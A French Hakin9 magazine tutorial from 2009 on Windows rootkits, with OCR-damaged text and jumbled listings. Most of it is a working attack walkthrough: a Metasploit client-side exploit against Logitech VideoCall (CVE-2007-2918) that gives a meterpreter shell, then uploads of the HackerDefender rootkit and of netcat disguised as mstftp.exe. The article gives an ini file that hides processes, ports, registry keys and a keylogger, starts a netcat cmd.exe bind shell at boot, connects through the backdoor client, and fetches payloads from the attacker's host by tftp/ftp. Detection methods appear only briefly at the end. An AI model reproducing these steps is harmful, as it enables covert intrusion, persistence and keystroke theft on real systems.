Les rootkits en mode utilisateur se basent sur des techniques de hooking ou l'interception des appels API au niveau utilisateur ou applicatif. Chaque fois qu'une application effectue un appel systme, l'excution de cet appel systme suit un processus prdtermin. Un rootkit Windows peut dtourner les appels systme au cours de ce processus et injecter ou modifier la valeur des donnes des appels afin de masquer sa prsence. Voici quelques rootkits en mode utilisateur : HE4Hook [3], Vanquish [4], et HackerDefender.

Rootkits en mode noyau

On distingue deux types de rootkits, qui oprent deux niveaux distincts : niveau utilisateur (application) et noyau.

Alors que tous les rootkits en mode utilisateur modifient le comportement du systme d'exploitation par l'intermdiaire des fonctions de l'API ou en remplaant les commandes de base du systme, les rootkits en mode noyau modifient le comportement du systme d'exploitation ou certaines structures de donnes par des techniques de hooking ou de modification des donnes du noyau. Veuillez noter, qu'avant toute modification, il faut au pralable que l'attaquant ait accs la mmoire du noyau. En rgle gnrale, cette zone mmoire du noyau

est non accessible aux utilisateurs systme. Pour consulter ou modifier des donnes dans la mmoire du noyau il faut obtenir les droits appropris. Les techniques de hooking sont frquentes au niveau du noyau car elles vitent aux attaquants de se faire dtecter (il s'agit du niveau le plus bas). Les applications de niveau suprieur s'appuient sur le noyau pour transmettre des informations. Par consquent, si vous parvenez contrler les informations transmises, vous pouvez facilement dissimuler des informations et des processus. Une des techniques permettant de dissimuler la prsence d'un processus spcifique un malware consiste ne pas le faire apparatre dans la liste des processus actifs du noyau. Etant donn que les API qui grent les processus s'appuient sur le contenu de la liste, le processus du malware ne s'affichera pas dans les outils de gestion des processus comme le Gestionnaire des tches ou l'Explorateur de processus. Voici quelques rootkits en mode noyau : FU Rootkit [5] et FUto Rootkit [6]. Les rootkits peuvent galement se subdiviser en rootkits persistants et en rootkits mmoire. La diffrence entre ces deux catgories tient au fait qu'un rootkit persistant peut rsister un redmarrage

Figure 1. Mode utilisateur & Mode noyau sous Windows


5/2009 HAKIN9 69

DBUTANTS
Listing 1. Excuter un exploit ct client et obtenir le meterpreter shell
SegFault:~/framework-3.0/framework-dev CG$ ./msfconsole < metasploit > -----------\ \ ,__, (oo)____ \ ,__, ||--|| *

_ _ _ _ _ _ _ _ _ _ _ _

=[ msf v3.1-dev + --=[ 201 exploits 106 payloads + --=[ 17 encoders 5 nops =[ 39 aux msf > use exploit/windows/browser/logitech_videocall_removeimage msf exploit(logitech_videocall_removeimage) > set TARGET 0 TARGET => 0 msf exploit(logitech_videocall_removeimage) > set PAYLOAD windows/meterpreter/bind_ tcp PAYLOAD => windows/meterpreter/bind_tcp msf exploit(logitech_videocall_removeimage) > set URIPATH hakin9/ URIPATH => hakin9/ msf exploit(logitech_videocall_removeimage) > exploit [*] Using URL: http://192.168.0.100:8080/hakin9/ [*] Server started. [*] Exploit running as background job. msf exploit(logitech_videocall_removeimage) > [*] Started bind handler [*] Transmitting intermediate stager for over-sized stage...(89 bytes) [*] Sending stage (2834 bytes) [*] Sleeping before handling stage... [*] Uploading DLL (81931 bytes)... [*] Upload completed. [*] Meterpreter session 1 opened (192.168.0.100:53985 -> 192.168.0.114:4444) msf exploit(logitech_videocall_removeimage) > sessions -i 1 [*] Starting interaction with 1... meterpreter >

systme contrairement un rootkit en mmoire. Les rootkits persistants s'activent au dmarrage du systme. Ces derniers sont excuts au dmarrage ou lorsqu'un utilisateur se connecte au systme. Ils sont placs en gnral dans le Registre ou le systme de fichiers (disque dur) et disposent d'une mthode leur permettant de s'immiscer dans la squence de dmarrage du systme. De cette manire, ils peuvent tre chargs en mmoire partir du disque dur et commencer immdiatement leur activit. Les rootkits en mmoire ne disposent pas de code persistant et ne peuvent pas se lancer suite un redmarrage. A premire vue, ce type de rootkit est moins efficace. Toutefois, il noter que de nombreux ordinateurs sous Windows, en particulier les serveurs, ne redmarrent pas pendant des jours Voir e des semaines. Cette attaque est donc intressante.

Le Rootkit HackerDefender

Figure 2. Vous pouvez Voir le fichier HackerDefender dans le rpertoire avant excution du rootkit
70 HAKIN9 5/2009

HackerDefender est un des rootkits les plus utiliss dans le monde. Il a t dvelopp par Holy Father. Son but tait de dvelopper quelque chose de nouveau un rootkit facile prendre en main, avec de grandes capacits (ex : vous pouvez indiquer le nom des fichiers cachs) tout en tant la porte des utilisateurs [7]. Ce rootkit est de type persistant et s'utilise en mode utilisateur. Il permet de modifier plusieurs fonctions des API Windows et du systme lui-mme. Ainsi, il est capable de dissimuler des processus, fichiers, cls de registre, drivers et les ports ouverts partir d'applications. Pour obtenir de plus amples informations sur les diffrentes mthodes utilises par les rootkits comme le hooking des API du Noyau / Utilisateur, le Forking Dynamique d'excutables Win32, la manipulation directe des objets du noyau, Table Hooking... Je vous recommande Inside Windows Rootkits par Vigilant Minds [8]. HackerDefender intgre galement une backdoor (porte drobe) et une fonction de redirection de port qui utilise les ports ouverts et s'excute par l'intermdiaire d'autres services. Cette porte drobe est accessible avec un backdoor client qui permet d'identifier et d'liminer le rootkit bas sur un port ouvert

ROOTKIT
spcifique du systme. Actuellement, le site web de HackerDefender n'est plus en ligne, vous pouvez tlcharger le rootkit sur : rootkit.com. Rootkit HackerDefender possde deux fichiers : un fichier excutable (.exe) et un fichier de configuration (.ini). Le fichier de configuration est utilis pour dfinir tous les paramtres du rootkit, c'est donc est un lment crucial. Comme la plupart des rootkits, HackerDefender exige que vous ayez les privilges administrateur pour l'installation. Le rootkit s'installe comme un service qui se lance chaque dmarrage. Lorsque vous lancez l'excutable, il cre un pilote systme (*sys) dans le mme . rpertoire que l'excutable ainsi qu'un fichier ini. Le pilote est ensuite install et charg dans les cls de registre suivantes :
HKLM\SYSTEM\CurrentControlSet\ HKLM\SYSTEM\CurrentControlSet\ Services\[driver_name] Services\[service_name]

Listing 2. Upload de HackerDefender.exe, HackerDefender.ini, et du programme netcat renomm via le meterpreter de Metasploit
meterpreter > pwd C:\WINDOWS\system32 meterpreter > cd .. meterpreter > cd Help meterpreter > pwd C:\WINDOWS\Help meterpreter > mkdir hxdef Creating directory: hxdef meterpreter > cd hxdef meterpreter > pwd C:\WINDOWS\Help\hxdef meterpreter > upload hxdef100.exe hxdef100.exe [*] uploading : hxdef100.exe -> hxdef100.exe [*] uploading : hxdef100.exe -> hxdef100.exe meterpreter > upload hxdef100.ini hxdef100.ini [*] uploading : hxdef100.ini -> hxdef100.ini [*] uploaded : hxdef100.ini -> hxdef100.ini meterpreter > cd .. meterpreter > cd .. meterpreter > cd system32 meterpreter > upload mstftp.exe mstftp.exe [*] uploading : mstftp.exe -> mstftp.exe [*] uploaded : mstftp.exe -> mstftp.exe meterpreter >

Listing 3. Excution de HackerDefender et confirmation que les fichiers sont cachs galement sous meterpreter
meterpreter > cd Help meterpreter > cd hxdef meterpreter > pwd C:\WINDOWS\Help\hxdef meterpreter > ls Listing: C:\WINDOWS\Help\hxdef ================= Mode ---40777/rwxrwxrwx 100777/rwxrwxrwx 100666/rw-rw-rwSize ---0 70656 4119 Type ---dir fil fil Last modified Name ---------------Wed Dec 31 17:00:00 MST 1969 . .. Wed Dec 31 17:00:00 MST 1969 hxdef100.exe Wed Dec 31 17:00:00 MST 1969 hxdef100.ini

En outre, HackerDefender fait en sorte qu'il sera excut en mode sans chec, en ajoutant les cls de registre suivantes :
HKLM\SYSTEM\CurrentControlSet\ [service_name]

Control\SafeBoot\Minimal\

Control\SafeBoot\Network\ [service_name]

HKLM\SYSTEM\CurrentControlSet\

meterpreter > execute -f hxdef100.exe Process 1700 created. meterpreter > pwd C:\WINDOWS\Help\hxdef meterpreter > ls Listing: C:\WINDOWS\Help\hxdef ============================== Mode ---40777/rwxrwxrwx Size ---0 Type ---dir Last modified Name ---------------Wed Dec 31 17:00:00 MST 1969 .

Je vous demanderai maintenant de bien vouloir consulter le fichier ReadMe ainsi que le fichier d'exemple *.ini qui est fourni avec HackerDefender. Vous comprendrez mieux la structure de base d'un fichier ini et vous y verrez plus clair grce la FAQ (Questions Frquemment Poses). Je vous indiquerai ensuite la marche suivre pour utiliser le fichier ini dans chacun de mes exemples et j'aborderai plus en dtail certains lments spcifiques au ReadMe.
..

Exemple de Rootkit et d'Exploit basique

meterpreter >

Il faut dans un premier temps configurer le fichier ini. Mes commentaires seront compris dans les symboles ** vous devrez donc les , supprimer de votre fichier ini lorsque vous souhaiterez les implmenter. Afin de disposer
5/2009 HAKIN9 71

DBUTANTS
d'une autre porte drobe, nous allons renommer netcat en mstftp.exe puis excuter le programme sur le port 63333 et le port UDP 53. Cette tape n'est pas obligatoire, en effet HackerDefender transforme les ports d'coute en shells de commande (cmd.exe) grce au client backdoor. Nanmoins, c'est une bonne mthode employer pour dissimuler les processus d'coute ainsi que les ports. Cette mthode est galement utile au cas o le client backdoor se voit refuser l'accs ; nous conserverons donc nos shells distants. A titre d'exemple, nous allons excuter un petit Serveur FTP (smallftpd.exe) [9] ainsi qu'un keylogger (keylogger.exe) [10]. Je n'ai pas modifi le nom de l'excutable HackerDefender, le serveur ftp ou le keylogger permettront d'illustrer plus facilement mon exemple. Vous pouvez modifier certains aspects de mes exemples ou les amliorer. Voici notre fichier ini. Rappelez-vous que le fichier ini (Voir ReadMe) doit contenir 10 sections : [Hidden Table], [Hidden Processes], [Root Processes], [Hidden Services], [Hidden RegKeys], [Hidden RegValues], [Startup Run], [Free Space], [Hidden Ports] et [Settings]. Dans les sections [Hidden Table], [Hidden Processes], [Root Processes], [Hidden Services] et [Hidden RegValues], un caractre joker * peut tre utilis la fin d'une chane de caractres. Les astrisques ne peuvent tre utiliss qu' la fin d'une chane de caractres. Tout ce qui suit le premier astrisque sera ignor.
[Hidden Table] hxdef* warez logdir

Figure 3. Aprs aVoir excut HackerDefender, les fichiers sont cachs sous Windows

Figure 4. Le rpertoire contenant HackerDefender est galement cach car nous l'avons ajout au fichier ini

pykeylogger*

Cette technique permet de cacher tous les fichiers et rpertoires dont le nom commence par hxdef, warez, et logdir (fichiers logs du keylogger) ainsi qu' cacher le fichier pykeylogger.ini, et les fichiers pykeylogger.val. Si nous chargeons HackerDefender dans C:\WINDOWS\Help\ hxdef\, ce rpertoire sera cach de Windows aprs excution de HackerDefender. Je vous demanderai de faire particulirement attention au nom des fichiers et ceux dissimuls. Par exemple, si vous avez dcid
72 HAKIN9 5/2009

Figure 5. Le processus HackerDefender (ici, il s'agit du 1700) est cach du Gestionnaire des tches

ROOTKIT
de crer un rpertoire nomm sysevil, assurez-vous de NE PAS avoir cach tous les rpertoires commenant par sys* Dans . le cas contraire, vous pourriez par erreur cacher des rpertoires importants comme System et System32.
[Hidden Processes] hxdef* mstftp.exe

Si vous changez le nom du pilote ou du service, vous devez le changer ici aussi afin de cacher les cls de registre. Emplacement par dfaut du registre principal : HKLM\ System\CurrentControlSet\Services\ ainsi, si vous voulez cacher les cls de registre qui se trouvent dans d'autres emplacements de la base de registre, vous aurez les ajouter ici : HKLM\Software\Microsoft\Windows\ CurrentVersion\Run\
[Hidden RegValues] VMware FTP

J'ai cr une cl FTP nomme VMware FTP avec meterpreter :


meterpreter > reg setval -k HKLM\ Software\Microsoft\Windows\ CurrentVersion\Run -v "VMware FTP" -t REG_SZ -d "C:\Program Files\VMware\ Successful set VMware FTP. smallftpd.exe"

smallftpd.exe keylogger.exe **Cacher HackerDefender, netcat

Elle se trouve dans HKLM\Software\ Microsoft\Windows\CurrentVersion\Run\. Ces

(renomm : mstftp.exe), notre Serveur FTP et les processus du keylogger.


[Root Processes] hxdef* mstftp.exe

Figure 4. Connexion au rootkit avec notre client backdoor (bdcli100.exe)


I:\>bdcli100.exe Host: 192.168.0.114 Port: 80 Pass: hakin9-rulez connecting server ... receiving banner ... opening backdoor .. backdoor found checking backdoor ...... backdoor ready authorization sent, waiting for reply authorization SUCCESSFUL backdoor activated!

Ici, nous excluons smalltftpd ainsi que le keylogger. En effet, les processus racines sont utiliss pour administrer le rootkit. mstftp.exe est laiss cet emplacement car si nous devons dsinstaller ou mettre jour le rootkit nous pourrons utiliser l'un de nos shells backdoor pour accder au rootkit. Si nous n'ajoutons pas mstftp.exe cette liste lorsque nous nous connectons au shell, notre rpertoire hxdef et ses fichiers seront toujours cachs.
[Hidden Services] HackerDefender*

close shell and all progz to end session

Figure 5. Se servir du shell avec le client backdoor. Veuillez noter que nous sommes sous le rpertoire hxdef, d'ici nous pouvons dsinstaller ou mettre jour les configurations
Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\Help\hxdef>whoami NT AUTHORITY\SYSTEM C:\WINDOWS\Help\hxdef>

Nous conservons les mmes paramtres que pour l'exemple suivant, toutefois il est recommand de modifier le nom du service et nom de pilote dans la section [Settings] pour aVoir quelque chose d'un peu moins vident. Ensuite, procdez galement aux mmes modifications dans les sections [Hidden Services] et [Hidden RegKeys], afin que chaque lment corresponde.
[Hidden RegKeys]

Figure 6. On lance le processus netcat, on se connecte, tout en s'assurant qu'il est en mode "hard listen" en relanant la connexion
I:\>nc 192.168.0.114 63333 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>whoami whoami NT AUTHORITY\SYSTEM C:\WINDOWS\system32>exit I:\>nc 192.168.0.114 63333 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>

HackerDefender100

LEGACY_HACKERDEFENDER100 HackerDefenderDrv100 LEGACY_HACKERDEFENDERDRV100

HKEY_LOCAL_MACHINE\SOFTWARE\ Run\

Microsoft\Windows\CurrentVersion\

5/2009 HAKIN9

73

DBUTANTS
[Hidden Ports] TCPI:21,63333 TCPO:63333 UDP:53 DriverName=HackerDefenderDrv100 DriverFileName=hxdefdrv.sys

Les ports entrants (TCPI) TCP 21 (serveur FTP) et 63333 (backdoor netcat) ainsi que ceux sortants (TCPO) TCP 63333 (utile en cas d'un reverse shell) sont cachs. Le port UDP 53 est galement cach.
[Settings]

Password=hakin9-rulez FileMappingName=_.-=

BackdoorShell=hxdef$.exe

Figure 6. Le processus mstftp.exe n'apparait pas dans le gestionnaire des tches instructions permettent de lancer le serveur FTP au dmarrage. En mettant VMware FTP la valeur Hidden sous RegValues, cette cl sera cache. Par ailleurs, smallftp n'est pas forcment un bon exemple de dmon FTP puisque son affichage comporte une interface graphique. Je vous laisse donc le choix du serveur FTP. Mme en cas de pop up, le service sera toujours cach du gestionnaire des tches. Les ports d'coute seront galement dissimuls.
[Startup Run]

ServiceName=HackerDefender100 hakin9

[HackerDefender]=-._

ServiceDisplayName= HD Demo for ServiceDescription=powerful NT rootkit

Nous changeons notre mot de passe pour le client backdoor en mettant hakin9rulez ainsi que le nom du service affich HD Demo for hakin9. Rappelez-vous que si vous changez le ServiceName ou le DriverName, vous devrez galement les modifier dans [Hidden Services] et [Hidden RegKeys]. Ce fichier ini serait facile dtecter par un Antivirus, mais dans le cadre de cet exemple, nous ne le modifierons pas (le mieux est d'effacer les traces de HackerDefender c'est l'idal pour votre projet). Le fichier zipp HackerDefender est fourni avec un fichier ini en exemple qui utilise les caractres ignors pour dissimuler le fichier ini.

Figure 7. Notre processus mstftp.exe et le port ouvert n'apparaissent pas dans fport mme en local sur la machine de la victime
C:\Documents and Settings\vmwareXP>fport FPort v2.0 TCP/IP Process to Port Mapper Copyright 2000 by Foundstone, Inc. http://www.foundstone.com Pid 1484 1484 832 4 1484 4 932 1484 0 1512 932 1136 4 932 1484 0 1512 1484 832 1484 4 0 1136 932 0 1512 1484 Process inetinfo inetinfo svchost System inetinfo System svchost inetinfo System sqlservr svchost System svchost inetinfo System sqlservr inetinfo svchost inetinfo System System svchost System sqlservr inetinfo Port 25 80 135 139 443 445 1025 1027 1029 1433 3389 5000 123 123 135 137 138 445 500 1026 1028 1031 1032 1434 1900 1900 3456 Proto TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP UDP UDP UDP UDP UDP UDP UDP UDP UDP UDP UDP UDP UDP UDP UDP Path C:\WINDOWS\System32\inetsrv\inetinfo.exe C:\WINDOWS\System32\inetsrv\inetinfo.exe C:\WINDOWS\system32\svchost.exe C:\WINDOWS\System32\inetsrv\inetinfo.exe C:\WINDOWS\System32\svchost.exe C:\WINDOWS\System32\inetsrv\inetinfo.exe C:\PROGRA~1\MICROS~2\MSSQL\binn\sqlservr.ex C:\WINDOWS\System32\svchost.exe

C:\WINDOWS\system32\mstftp.exe? %cmddir%mstftp.exe?-u -L -p 53 %sysdir%keylogger.exe? c pykeylogger.ini -e cmd.exe -L -p 63333 -e cmd.exe

A chaque dmarrage nous lanons notre copie de netcat (mstftp.exe) qui est en coute sur le port TCP 63333 et le port UDP 53. Nous lanons aussi un keylogger en lui indiquant qu'il doit utiliser pykeylogger.ini comme fichier de configuration. Le nom du programme est spar de ses arguments par le symbole : (?). N'utilisez pas les caractres guillemets ("), sinon vos programmes s'arrteront une fois que l'utilisateur s'est connect.
[Free Space] C:536870912

-> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> ->

C:\WINDOWS\System32\svchost.exe C:\WINDOWS\System32\inetsrv\inetinfo.exe C:\PROGRA~1\MICROS~2\MSSQL\binn\sqlservr.ex C:\WINDOWS\System32\inetsrv\inetinfo.exe C:\WINDOWS\system32\svchost.exe C:\WINDOWS\System32\inetsrv\inetinfo.exe

C:\WINDOWS\System32\svchost.exe C:\PROGRA~1\MICROS~2\MSSQL\binn\sqlservr.ex C:\WINDOWS\System32\inetsrv\inetinfo.exe

Affiche 512Mo de mmoire disponible pour notre warez.


74 HAKIN9 5/2009

C:\Documents and Settings\vmwareXP>

ROOTKIT
Par exemple :
[H<<<idden T>>a/"ble] >h"xdef"* r|c<md\.ex<e:: >h"xdef"*

Figure 8. Excution de fport aprs mise jour de notre fichier ini pour dissimuler le port ouvert 63333
C:\WINDOWS\system32>fport fport FPort v2.0 TCP/IP Process to Port Mapper Copyright 2000 by Foundstone, Inc. http://www.foundstone.com Pid Process 1484 inetinfo 1484 inetinfo 832 svchost 4 System 1484 inetinfo 4 System 932 svchost 1484 inetinfo 1512 sqlservr 932 svchost 0 System 1520 mstftp 1512 sqlservr 932 svchost 1484 inetinfo 4 System 1512 sqlservr 1484 inetinfo 832 svchost 1484 inetinfo 4 System 932 svchost 1484 inetinfo C:\WINDOWS\system32> Port 25 80 135 139 443 445 1025 1027 1433 3389 63333 63333 123 123 135 137 138 445 500 1026 1028 1434 3456 Proto TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP UDP UDP UDP UDP UDP UDP UDP UDP UDP UDP UDP Path C:\WINDOWS\System32\inetsrv\inetinfo.exe C:\WINDOWS\System32\inetsrv\inetinfo.exe C:\WINDOWS\system32\svchost.exe C:\WINDOWS\System32\inetsrv\inetinfo.exe C:\WINDOWS\System32\svchost.exe C:\WINDOWS\System32\inetsrv\inetinfo.exe C:\PROGRA~1\MICROS~2\MSSQL\binn\sqlservr.ex C:\WINDOWS\System32\svchost.exe C:\WINDOWS\system32\mstftp.exe C:\PROGRA~1\MICROS~2\MSSQL\binn\sqlservr.ex C:\WINDOWS\System32\svchost.exe C:\WINDOWS\System32\inetsrv\inetinfo.exe C:\PROGRA~1\MICROS~2\MSSQL\binn\sqlservr.ex C:\WINDOWS\System32\inetsrv\inetinfo.exe C:\WINDOWS\system32\svchost.exe C:\WINDOWS\System32\inetsrv\inetinfo.exe C:\WINDOWS\System32\svchost.exe C:\WINDOWS\System32\inetsrv\inetinfo.exe

[\<Hi<>dden" P/r>oc"/e<ss>es\] rcm"d.e"xe

"[:\:R:o:o\:t: :P:r>:o: h<x>d<e>:f<* c<:e:s:s:e<:s:>]

-> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> ->

<\rc:\md.\ex\e

Maintenant que nous avons travaill sur le fichier ini, tudions quelques exemples
Nous allons utiliser un exploit qui permettent d'avoir un shell systme ou administrateur. L'essentiel ici est d'obtenir les bons privilges. Nous allons utiliser un exploit ct client sous Logitech VideoCall Nous utiliserons le Contrle ActiveX (StarClient.dll) (CVE-2007-2918) avec le Framework Metasploit[11] et Meterpreter. Je remercie MC pour m'aVoir fourni le code complet de l'exploit ! Le Framework Metasploit est formidable, il nous permet d'tablir des connexions distance tout en profitant des exploits ct client et de la flexibilit lorsque vous choisirez le payload (charge utile) l'excution. Les exploits ct client ncessitent un clic de la victime sur un lien malicieux ou sur un lien e-mail. Ce n'est pas trs compliqu. Reportezvous au Listing 1. Placez par n'importe quelle mthode le rootkit HackerDefender sur la machine de la victime. Vous devrez placer les fichiers hxdef100.exe et hxdef100.ini (vous pouvez mettre le nom de fichier de votre choix) et tout autre fichier ou backdoor ncessaire. Vous pouvez utiliser TFTP, tlcharger les fichiers depuis n'importe quel rseau d'imprimante non scuris par FTP, utiliser exe2bat [12] et la commande de dbogage de Windows pour placer netcat ou tout autre outil qui peuvent tlcharger les fichiers rootkit partir de votre emplacement scuris. Etant donn que nous l'utilisons dj, vous pouvez simplement utiliser Metasploit avec le payload de meterpeter pour transfrer, tlcharger, et modifier des fichiers.
5/2009 HAKIN9 75

Figure 9. Utilisation du shell backdoor lanc au dmarrage par HackerDefender. Notez que nous pouvons naviguer vers le dossier contenant HackerDefender, parce que le rootkit a lanc le shell backdoor
Command run "nc 192.168.0.114 63333" C:\WINDOWS\system32>cd .. cd .. C:\WINDOWS>cd Help cd Help C:\WINDOWS\Help>cd hxdef cd hxdef C:\WINDOWS\Help\hxdef>dir dir Volume in drive C has no label. Volume Serial Number is F0F8-C44B Directory of C:\WINDOWS\Help\hxdef 06/03/2007 06/03/2007 06/03/2007 06/03/2007 06/03/2007 04:17 PM <DIR> . 04:17 PM <DIR> .. 04:16 PM 70,656 hxdef100.exe 04:16 PM 751 hxdef100.ini 04:17 PM 3,342 hxdefdrv.sys 3 File(s) 74,749 bytes 2 Dir(s) 2,013,421,568 bytes free

C:\WINDOWS\Help\hxdef>

DBUTANTS
Exemple d'upload TFTP :
C:\WINDOWS\Help\hxdef>tftp tftp -i 192.168.0.105 GET hxdef100.exe -i 192.168.0.105 GET hxdef100.exe

Transfer successful: 70656 bytes C:\WINDOWS\Help\hxdef>tftp tftp -i 192.168.0.105 GET hxdef100.ini in 1 second, 70656 bytes/s

-i 192.168.0.105 GET hxdef100.ini

Transfer successful: 751 bytes in 1 second, 751 bytes/s

A noter, que le rpertoire est cach de Windows. Vous n'y aurez accs qu'avec le client backdoor ou par l'intermdiaire d'un shell lanc par le backdoor. Dans le cas contraire, vous ne pourrez mme pas accder aux fichiers ini et aux excutables du rpertoire tant donn qu'ils sont cachs du Gestionnaire des tches de Windows. Ainsi, si vous placez HackerDefender dans C:\WINDOWS\SYSTEM32\ Drivers\abc\, vous devrez accder ce rpertoire avec le client backdoor client Figure 10.

et excuter la commande hxdef100.exe -:refresh ou hxdef100.exe -: uninstall pour qu'elle prenne effet. Voir Listing 3. Laissez HackerDefender oprer pendant quelques secondes... Regardez ! MAGIE ! Le fichier excutable ainsi que le fichier ini sont cachs. Visuellement, vous pouvez Voir les fichiers disparatre. Au dbut on voit les fichiers Voir Figure 2. et maintenant, PLUS RIEN ! Voir Figure 3, 4 et 5.

Exemple d'upload FTP :


ECHO open 192.168.201.20 21 >> x.txt ECHO USER hacker >> x.txt ECHO bin >> x.txt ECHO PASS defender >> x.txt ECHO GET hxdef100.exe >> x.txt ECHO GET hxdef100.ini >> x.txt ECHO bye >> x.txt

meterpreter > reg Usage: reg [command] [options] Interagir avec le registre de la machine cible. OPTIONS: -d <opt> Donns stocker dans le registre. -h <opt> Menu Aide. -k <opt> Chemin d'accs cl de registre (E.g. HKLM\Software\Foo). -t <opt> Type de valeur du registre (E.g. REG_SZ). -v <opt> Nom de la valeur du registre (E.g. Stuff). COMMANDES: enumkey Recense les cls de registre fournies [-k <key>] createkey Cr les cls de registre fournies [-k <key>] deletekey Supprimer les cls de registre fournies [-k <key>] setval Dfinir une valeur de registre [-k <key> -v <val> -d <data>] deleteval Supprimer la valeur de registre fournie [-k <key> -v <val>] queryval Interroge les donnes contenues pour une valeur [-k <key> -v <val>] Ajoutons la cl suivante pour que notre serveur FTP se lance au dmarrage. meterpreter > reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v "VMware FTP" -t REG_SZ -d "C:\\Program Files\\VMware\\ smallftpd.exe" Successful set VMware FTP. Ensuite, assurez-vous que la cl est dfinie meterpreter > reg enumkey -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v "VMware FTP"Enumerating: HKLM\Software\Microsoft\Windows\ CurrentVersion\Run Keys (1): OptionalComponents Values (3): VMware Tools VMware User Process VMware FTP meterpreter > reg queryval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v "VMware FTP" Key: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Name: VMware FTP Type: REG_SZ Data: C:\Program Files\VMware\smallftpd.exe meterpreter > Nous ajoutons les lignes suivantes au fichier ini [Hidden RegKeys] HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ [Hidden RegValues] VMware FTP

Exemple d'upload avec MSF Meterpreter - Voir Listing 2. Pour excuter le rootkit :
exename [ini] ou exename [switch]

Le nom par dfaut du fichier ini est EXENAME.ini o EXENAME est le nom du programme excutable principal sans extension. On utilise ces noms lors de l'excution avec HackerDefender sans mentionner le fichier ini ou autres switchs (le fichier ini par dfaut est hxdef100.ini). Les switchs disponibles sont :
-:installonly installe une seule -:refresh met jour les

fois le service, mais n'est pas excut configurations du fichier ini services

-:noservice n'installe pas les -:uninstall supprimer en

mmoire HackerDefender et efface toutes les connexions backdoor en cours

Hxdef100.exe (utilise le fichier ini par

dfaut) ou avec meterpreter, on peut tapper execute f hxdef100.exe ( ce moment, le rootkit est install).
76 HAKIN9 5/2009

ROOTKIT
Nous pouvons maintenant nous connecter la machine de la victime sur n'importe quel port ouvert avec bdcli100.exe (backdoor).

Exemple 2 : Cacher un processus.

Dans cet exemple nous allons lancer notre copie renomme de netcat (mstftp.exe) qui se trouve dans le rpertoire C:\WINDOWS\System32\, et nous allons utiliser le rootkit pour dissimuler les processus et ports ouverts. Une fois connect au client backdoor, nous lanons le processus netcat.
C:\WINDOWS\system32>mstftp

-L -p 63333 -e cmd.exe d

Avec un autre shell on effectue un netcat notre backdoor - Voir Listing 6. Etant donn que nous avons modifi le fichier ini pour dissimuler le port et le processus, le processus d'coute devrait galement tre cach. Voir Figure 6. Pour vrifier que HackDefender est en cours d'excution et visualiser le processus d'coute, connectons-nous avec notre client backdoor et excutons fport pour Voir le processus d'coute netcat (mstftp.exe) sur le port 63333. Voir Listing 8.

Figure 7. Visualiser la cl de registre ajoute regedit Une fois que le systme redmarre, on fait un netcat sur le port 63333, et l, surprise on tombe directement sur l'interprteur de commandes de HackerDefender. Voir Listing 9. Lanons la commande hxdef100.exe -: refresh, nous voyons que la cl de registre disparat dans l'Editeur de registre. Voir Figure 7, 8.

Exemple 4 : Cacher les Cls de Registre


Grce meterpreter nous pouvons facilement modifier, crer, supprimer, changer des valeurs et cls de registre. En saisissant reg dans meterpreter vous obtiendrez toutes les options disponibles. Voir Listing 10.

Techniques de dfenses proactives et ractives face un rootkit

Exemple 3 : Cacher un processus lanc au dmarrage de l'ordinateur

Dans les deux grandes catgories de moyens de dfense et de dtection du rootkit, il ya quatre sous-catgories : la dtection base sur les signatures, l'intgrit, l'heuristique, et la dtection multiple. La dtection base sur la signature est

Essayons d'automatiser un peu ce processus. Ne trouvez-vous pas qu'il serait judicieux de faire en sorte que la backdoor netcat soit en coute au dmarrage du systme ? Pour cela, il suffit d'apporter une petite modification au fichier ini. Dans le fichier ini de HackerDefender il suffit d'ajouter :
[Startup Run]

C:\WINDOWS\system32\mstftp.exe?-L -p 63333 -e cmd.exe

Cette instruction indique au rootkit que le netcat renomm doit s'excuter au dmarrage du systme et tre en coute sur le port 63333.

Figure 8. HackerDefender cache la cl de registre que nous avons ajoute


5/2009 HAKIN9 77

DBUTANTS
l'approche qui a longtemps t utilise par les antivirus. Une signature est spcifique un rootkit donn, similaire une squence d'octets, en retour l'antivirus analyse les fichiers et la mmoire de cette signature. La dtection base sur l'intgrit utilise les checksums pour vrifier l'intgrit d'un fichier. Si un checksum a chang, l'utilisateur en est averti et peut entreprendre certaines actions. Cette mthode de dtection est utile aux rootkits qui modifient les fichiers ou systmes binaires. Les rootkits les plus rcents ne modifient pas les fichiers binaires du systme, cette mthode est donc moins efficace pour les menaces actuelles. Un exemple de dtection base sur l'intgrit est tripwire. Il y a en troisime position la dtection comportementale ou heuristique qui se base sur l'identification et la dtection d'anomalies et comportementale. Cette mthode est utile pour dtecter les techniques de hooking. Les outils heuristiques recherchent les anomalies telles que les sauts au dbut des fonctions et les entres des tables qui ne correspondent pas aux fichiers binaires et avec ce qu'il y a en mmoire. Un exemple d'outil de dtection heuristique est VICE [13]. Pour terminer, la dtection multiple, compare (en utilisant plusieurs techniques) les rponses de la machine susceptible d'avoir un rootkit avec les rponses attendues dans des circonstances normales. Cette mthode permet de rechercher dans plusieurs emplacements les donnes redondantes qui sont stockes tout en effectuant une recherche haut niveau et bas niveau. En cas d'anomalies, il est probable que votre systme ait un rootkit. Voici quelques outils de dtection multiples : RootkitRevealer de Microsoft, [14] Blacklight de F-Secure, [15] System Virginity Verifier de Joanna Rutswoka, [16] et Strider Ghostbuster de Microsoft [17]. Pour de plus amples informations, n'hsitez pas consulter le site Web security focus l'adresse : http: //www.securityfocus.com/infocus/1854. Security Overflow Blog dispose galement d'une rubrique sur les mthodes de dfense contre les rootkis Windows : http:// kareldjag.over-blog.com/article-1232492.html et les mthodes de prvention : http:// kareldjag.over-blog.com/article-1232530.html La deuxime grande catgorie de dfenses dites "proactive", tient dans
78 HAKIN9 5/2009

